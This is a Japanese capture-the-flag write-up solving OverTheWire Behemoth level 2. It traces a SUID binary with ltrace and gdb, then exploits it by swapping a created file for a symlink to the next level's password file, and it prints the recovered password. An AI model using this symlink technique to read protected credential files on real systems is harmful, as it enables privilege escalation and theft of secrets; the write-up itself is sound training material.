見出し画像

OverTheWire:Behemoth2

前回の記事で取得したパスワードで接続。
ssh behemoth2@behemoth.labs.overthewire.org -p 2221

とりあえず実行してみる。

behemoth2@behemoth:~$ /behemoth/behemoth2  
touch: cannot touch '26952': Permission denied
^C

何かファイルを作ろうとして、応答無しになった。
とりあえず [CTRL]+C で実行を止め、トレースして詳しく見てみよう。

behemoth2@behemoth:~$ ltrace /behemoth/behemoth2
__libc_start_main(0x804856b, 1, 0xffffd774, 0x8048660 <unfinished ...>
getpid()                                         = 27015
sprintf("touch 27015", "touch %d", 27015)        = 11
__lxstat(3, "27015", 0xffffd640)                 = -1
unlink("27015")                                  = -1
geteuid()                                        = 13002
geteuid()                                        = 13002
setreuid(13002, 13002)                           = 0
system("touch 27015"touch: cannot touch '27015': Permission denied
<no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> )                           = 256
sleep(2000

自身のプロセスID をファイル名にしてファイルを作成し 2000秒スリープしていることが判った。

スリープ後は何をするのだろう?
デバッガで調べてみよう。

behemoth2@behemoth:~$ gdb -q /behemoth/behemoth2
Reading symbols from /behemoth/behemoth2...(no debugging symbols found)...done.
(gdb) start
Temporary breakpoint 1 at 0x804857a
Starting program: /behemoth/behemoth2 
Temporary breakpoint 1, 0x0804857a in main ()
(gdb) disas
Dump of assembler code for function main:
  0x0804856b <+0>:	lea    0x4(%esp),%ecx
  0x0804856f <+4>:	and    $0xfffffff0,%esp
  0x08048572 <+7>:	pushl  -0x4(%ecx)
  0x08048575 <+10>:	push   %ebp
  0x08048576 <+11>:	mov    %esp,%ebp
  0x08048578 <+13>:	push   %ebx
  0x08048579 <+14>:	push   %ecx
=> 0x0804857a <+15>:	add    $0xffffff80,%esp
  0x0804857d <+18>:	call   0x8048400 <getpid@plt>
  0x08048582 <+23>:	mov    %eax,-0xc(%ebp)  

逆アセンブルされたプログラムにざっと目を通すと、main の最後でsystem関数が実行されていることが判った。

  0x0804863c <+209>:	push   %eax
  0x0804863d <+210>:	call   0x8048410 <system@plt>
  0x08048642 <+215>:	add    $0x10,%esp
  0x08048645 <+218>:	mov    $0x0,%eax
  0x0804864a <+223>:	lea    -0x8(%ebp),%esp
  0x0804864d <+226>:	pop    %ecx
  0x0804864e <+227>:	pop    %ebx
  0x0804864f <+228>:	pop    %ebp
  0x08048650 <+229>:	lea    -0x4(%ecx),%esp
  0x08048653 <+232>:	ret    

この部分で実行されるコマンドが何なのか調べてみよう。
system関数を呼び出している部分にブレークポイントを仕掛けて、この箇所に処理が移る際の  eax レジスタを調べれば判る。

   0x0804863c <+209>:	push   %eax
  0x0804863d <+210>:	call   0x8048410 <system@plt>
  0x08048642 <+215>:	add    $0x10,%esp

おっと、その前にsleep 関数の手前でブレークさせてこの処理をスキップしないと、0x7d0秒(2000秒)も待つことになってしまう。

  0x080485ff <+148>: 	push   $0x7d0
  0x08048604 <+153>:	call   0x80483d0 <sleep@plt>
  0x08048609 <+158>:	add    $0x10,%esp
  0x0804860c <+161>:	lea    -0x24(%ebp),%eax

ということでブレークポイントを設定して再実行。

(gdb) b *(main + 148)     # <--- sleep関数呼出の1つ手前
Breakpoint 2 at 0x80485ff
(gdb) b *(main + 210)    # <--- system関数の呼出箇所
Breakpoint 3 at 0x804863d
(gdb) start
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Temporary breakpoint 4 at 0x804857a
Starting program: /behemoth/behemoth2 
Temporary breakpoint 4, 0x0804857a in main ()
(gdb) 

sleep関数呼出箇所の1個手前で停まったところで、EIPレジスタを操作して sleep関数の1つ後ろにジャンプさせた。

Temporary breakpoint 4, 0x0804857a in main ()
(gdb) set $eip = 0x08048609
(gdb) cont
Continuing.Breakpoint 3, 0x0804863d in main ()
(gdb) 

最後のsystem関数実行部分で停止したので、system関数にどんな値が渡されているのか見てみる。EAXレジスタを文字列へのポインタと見なして表示すれば良い。

Breakpoint 3, 0x0804863d in main ()
(gdb) x/s $eax
0xffffd684:	"cat   28344"
(gdb) 

これでこのプログラムの動作が把握できた。


<behemoth2 の動作>
1 ) 自身のプロセスIDを取得し、このプロセスIDを持つファイルを作成する
2 ) 2000秒待つ
3) 作成したファイルの内容を表示して終了する。

この動作を利用して、次のレベルのパスワードを読み出すにはどうすれば良いだろうか?各ファイルの権限をもう一度見直してみる。

behemoth2@behemoth:~$ ls -l /etc/behemoth_pass/behemoth3
-r-------- 1 behemoth3 behemoth3 11 Aug 26  2019 /etc/behemoth_pass/behemoth3
behemoth2@behemoth:~$ ls -l /behemoth/behemoth2 
-r-sr-x--- 1 behemoth3 behemoth2 7536 Aug 26  2019 /behemoth/behemoth2

 behemoth2 は behemoth3 にSUIDされているので、behemoth2は実行時に パスワードファイル(/etc/behemoth_pass/behemoth3 )を読み込み可能だ。

なので、以下の作戦でうまく行くはず。

<作戦>
1)  誰でも書き込み可能なディレクトリを  /tmp の下に作成する
2)  問題のプログラム(/behemoth/behemoth3 ) を実行する。
   (ファイルが作成されて 2000秒のSleep に入る)
3)  作成されたファイルを一旦削除し、パスワードファイルから、削除した 
     ファイルと同じ名前でシンボリックリンクを張る

こうすれば、2000秒後にsleepから戻ったプログラムがシンボリックリンクからパスワードが読み出してくれる、ということになる。

やってみよう。
2000秒待っている間にセッションが切れてしまうと面倒なので、バックグラウンドで実行し、結果はファイルにリダイレクトすることにした。

behemoth2@behemoth:~$ mkdir /tmp/bar
behemoth2@behemoth:~$ chmod 777 /tmp/bar
behemoth2@behemoth:~$ cd /tmp/bar
behemoth2@behemoth:/tmp/bar$ /behemoth/behemoth2 > pass &
[1] 28926
behemoth2@behemoth:/tmp/bar$ ls
28926  pass
behemoth2@behemoth:/tmp/bar$ rm 28926
rm: remove write-protected regular empty file '28926'? yes
behemoth2@behemoth:/tmp/bar$ ln -s /etc/behemoth_pass/behemoth3 ./28926
behemoth2@behemoth:/tmp/bar$ ls -l
total 0
lrwxrwxrwx 1 behemoth2 behemoth2 28 Jul  4 07:15 28926 -> /etc/behemoth_pass/behemoth3
-rw-r--r-- 1 behemoth2 behemoth2  0 Jul  4 07:14 pass
behemoth2@behemoth:/tmp/bar$ 

これでよし。
2000秒後、結果をチェックすると想定通り、次レベル(behemoth3 ) へのパスワードが出力されていた。

behemoth2@behemoth:/tmp/bar$ cat pass
nieteidiel

これにて一件落着!
今日はこれでおしまい!


この記事が気に入ったらサポートをしてみませんか?